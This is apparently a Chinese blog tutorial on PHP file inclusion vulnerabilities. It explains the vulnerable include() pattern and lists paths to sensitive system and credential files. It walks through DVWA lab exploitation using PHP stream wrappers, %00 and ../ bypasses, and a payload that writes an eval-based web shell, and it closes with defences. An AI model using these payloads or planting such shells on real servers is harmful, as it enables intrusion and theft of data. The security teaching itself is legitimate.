一、什么是文件包含?
开发人员将需要重复调用的函数写入一个文件,对该文件进行包含时产生的操作。这样编写代码能减少代码冗余,降低代码后期维护难度。优点:保证网站整体风格统一(比如导航栏等)
二、为什么会产生文件包含的漏洞?
文件包含函数加载的参数没有经过过滤或严格的定义,可以被用户控制,包含其他恶意文件,导致了执行非预期代码。
三、文件包含概述例子
先来看一下代码
<?php
$filename=$_GET['filename'];
include($filename);
?>
此时访问的URL为http://xxxxxx/xxxxx.php?filename=show.php
在这个代码中可以看到没有对filename进行任何过滤处理,所以可以改变filename值即可改变代码中包含的文件。
四、所使用的相关函数
- require组
require:函数出现错误时,会直接报错并退出程序执行(意思就是不继续执行脚本)。
require_once():出错时直接退出;且仅包含一次。在脚本执行期间同一个文件可能被多次引用,确保只包含一次以避免函数重定义、变量重新赋值等问题。
- include组
include:函数出现错误时,会抛出一个警告,程序继续运行(脚本继续运行)。
include_once():函数出现错误时,会抛出警告,且仅包含一次。
五、文件包含漏洞类型及利用
- 本地文件包含
- 远程文件包含
本地文件包含:被包含的文件在服务器本地。
利用方式:包含本地敏感文件、上传文件。
远程文件包含:被包含的文件在远程服务端。
利用方式:包含攻击者指定远程url文件。
作者的另一篇博客中是文件包含漏洞的实操:文件包含DVWA实操
六、敏感文件默认路径列举
- Windows系统:
C:\boot.ini //查看系统版本
C:\windows\system32\inestsrv\MetaBase.xml //iis配置文件
C:\windows\repair\same //存储windows系统初次安装密码
C:\ProgramFiles\mysql\my.ini //mysql配置信息
C:\ProgramFiles\mysql\data\mysql\user.MYD //mysql root密码
C:\windows\php.ini //php配置信息
- linux/unix系统:
/etc/passwd //账户信息
/etc/shadow //账户密码文件
/etc/my.conf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置信息
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //php相关配置
七、文件包含漏洞的危害
- 获取敏感信息
- 执行任意命令
- 获取服务器权限
八、漏洞利用:利用PHP协议进行文件包含
-
利用file协议
如果对../进行过滤的话,可以用file协议。如图所示。
利用file协议的话,allow_url_fopen和allow_url_include是可以为off的。
-
利用php://filter协议
主要是用来查看源码。直接包含php文件时会被解析,不能看到源码,所以用filter来读取敏感文件,但是需要进行base64加密传输。
先来看一下里面有的参数
我们发现以下代码被base64进行加密了,把他解密就可以看到源代码了。下面的网址中convert前面省略了read=,加不加都可以,不会有啥影响。
用base64进行解密
除了上面用到的base64的过滤器,还有一些其他的过滤器
附加问题:$content在开头增加了exit过程,导致我们成功写入一句话也执行不了,应该怎么样绕过?
A:用php://filter协议(其中也用到了base64编码)
代码如下:
<?php
$content = '<?php exit;?>';
$content .= $_POST['txt'];
file_put_contents(%_POST['filename'],$content);
?>
这里作者的实验都不是特别成功····www···一以下是截的图(菜鸟哀嚎)
这里他将上述代码写入到名为fiextend.php中,用网页显示一下,再用bp抓包,传入repeater,再放包。
把传输方式改为POST
可以看到左上角已改为POST,在下面输入图中的数据,发现右边栏显示200 OK
找到demo.php文件发现其中多出一句<?php exit;?>,过滤掉她就可以正常执行后面的php代码
base64编码中只包含64个可打印字符(大小写字母,0-9,+,/),而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。所以前面的那段字符的<?;?>就会变成乱码,就达到直接解析phpinfo()的目的。(<?php phpinfo()?>就是图中的一句话base64编码)
为什么要额外增加一个a呢?
因为“phpexit”一共7个字符,base64算法解码是4个字节为一组,所以增加一个“a”一共8个字符。这样,“phpexita”被正常解码,而后面我们传入的webshell的base64内容也被正常解码。
-
利用php://input协议
主要来接收post数据,将post请求中的数据作为php代码执行。
先进行配置一下
将一句话木马写入shell.php文件中
-
利用zip://、bzip2://、zlib://协议
zip://、bzip2://、zlib://在allow_url_fopen、allow_url_include在双off的情况下也可以正常使用,都属于压缩流,可以访问压缩文件中的子文件。
!!格式:zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
其中#的意思是不传入后端执行,#的url编码是%23
插入一段:相对路径和绝对路径的区别是什么?
绝对路径:绝对路径就是你的主页上的文件或目录在硬盘上真正的路径,(URL和物理路径)例如:
C:\xyz\test.txt 代表了test.txt文件的绝对路径。http://www.sun.com/index.htm也代表了一个
URL绝对路径。
相对路径:相对与某个基准目录的路径。包含Web的相对路径(HTML中的相对目录),例如:在
Servlet中,"/"代表Web应用的根目录。和物理路径的相对表示,例如:"./" 代表当前目录,
"../"代表上级目录。这种类似的表示,也是属于相对路径。
-
利用phar://协议
类似于zip协议,但是可以使用相对路径。
格式:phar://[压缩文件绝对路径/相对路径]/[压缩文件内的子文件名]
实操:写一个cmd.txt,并将它压缩为一个cmd.zip
cmd.txt内容为
<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['cmd']);?>")?>
<?php phpinfo();?>
在DVWA文件上传中上传cmd.zip
有回显
再去文件包含那里改成phar://+刚刚回显的路径,发现页面是代码执行后的结果,说明代码执行
发现一句话木马已写入shell.php,因为状态为200
-
利用data://协议
将原本的include的文件流重定向到了用户可控制的输入流中。必须要在allow_url_fopen、allow_url_include都是On的情况下才能正常使用。
发现页面中都说明代码已执行。
对以上的一些总结
九、文件包含漏洞的绕过方式
-
本地文件包含绕过方式
以下php代码中"inc/"是表示在这个目录下,后面的".htm"是一个后缀。
使用../跳到上一级就可以对inc/进行绕过。对于后缀用%00来进行绕过,图片中有对其原理进行解释。
对DVWA中中级和高级进行绕过
-
远程文件包含绕过方式
加问号(在图中红框框里)或者加#(就是图中倒数第二行中的%23,%23是#的url编码)
将/action/m_share.php作为http://localhost/shell.php的一个参数传入,而不是直接拼接到我们所输入的后面。
十、文件包含漏洞的防御
- 尽量不要使用动态包含,无需情况下设置allow_url_include和allow_url_fopen为关闭。
- 用白名单的方式对可以包含的文件进行限制,或者设置包含的目录,open_basedir。
- 严格检查用户输入,参数中不许出现../之类的目录跳转符。
- 严格检查变量是否初始化。
- 不仅仅在客户端做数据的验证与过滤,关键的过滤在服务端进行。